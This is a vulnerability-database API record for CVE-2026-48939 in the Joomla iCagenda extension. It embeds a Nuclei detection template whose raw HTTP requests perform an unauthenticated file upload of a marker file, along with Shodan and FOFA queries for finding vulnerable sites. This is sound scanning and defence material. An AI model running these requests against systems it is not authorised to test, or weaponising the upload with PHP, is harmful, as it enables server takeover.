{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-48939/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-48939/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-48939/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-48939/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-48939/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-48939"},"sightings":{"href":"/api/v1/sightings/cve-2026-48939"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-48939.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-48939\n\ninfo:\n  name: Joomla iCagenda < 3.9.10 - Unauthenticated Arbitrary File Upload RCE\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    iCagenda extension for Joomla contains an unrestricted file upload vulnerability in the file attachment feature, letting attackers upload and execute arbitrary PHP code, exploit requires no special privileges.\n  impact: |\n    Attackers can upload and execute arbitrary PHP code, leading to full server compromise.\n  remediation: |\n    Update to the latest version of iCagenda extension.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-48939\n    - https://github.com/ChiefYoru/CVE-2026-48939_PoC\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-48939\n    epss-score: 0.20069\n    epss-percentile: 0.97328\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: joomlic\n    product: icagenda\n    framework: joomla\n    shodan-query: http.html:\"com_icagenda\"\n    fofa-query: body=\"com_icagenda\"\n  tags: cve,cve2026,joomla,icagenda,file-upload,rce,intrusive,kev,vkev\n\nvariables:\n  marker: \"{{to_lower(rand_text_alpha(8))}}\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET /administrator/ HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"icagenda\") || contains(body, \"iCagenda\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: csrf\n        group: 1\n        internal: true\n        regex:\n          - 'name=\"([a-f0-9]{32})\"\\s+value=\"1\"'\n\n  - raw:\n      - |\n        POST /index.php?option=com_icagenda&task=registration.submit HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----iCagendaBoundary48939\n        X-Requested-With: XMLHttpRequest\n        Referer: {{BaseURL}}/\n\n        ------iCagendaBoundary48939\n        Content-Disposition: form-data; name=\"{{csrf}}\"\n\n        1\n        ------iCagendaBoundary48939\n        Content-Disposition: form-data; name=\"jform[attachment]\"; filename=\"{{marker}}.txt\"\n        Content-Type: text/plain\n\n        CVE-2026-48939-FILE-UPLOAD-CONFIRMED\n        ------iCagendaBoundary48939--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 303'\n        internal: true\n\n  - raw:\n      - |\n        GET /images/icagenda/frontend/attachments/{{marker}}.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"CVE-2026-48939-FILE-UPLOAD-CONFIRMED\")'\n        condition: and\n# digest: 4a0a00473045022100f40b83f7902eddb407923af5b1ffac40d2a225200956e818b82a7053845aefd202200704158f623c99a959757cebe1ae74b7e4bb47bb244c6451474e038fdd5348be:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-48939"}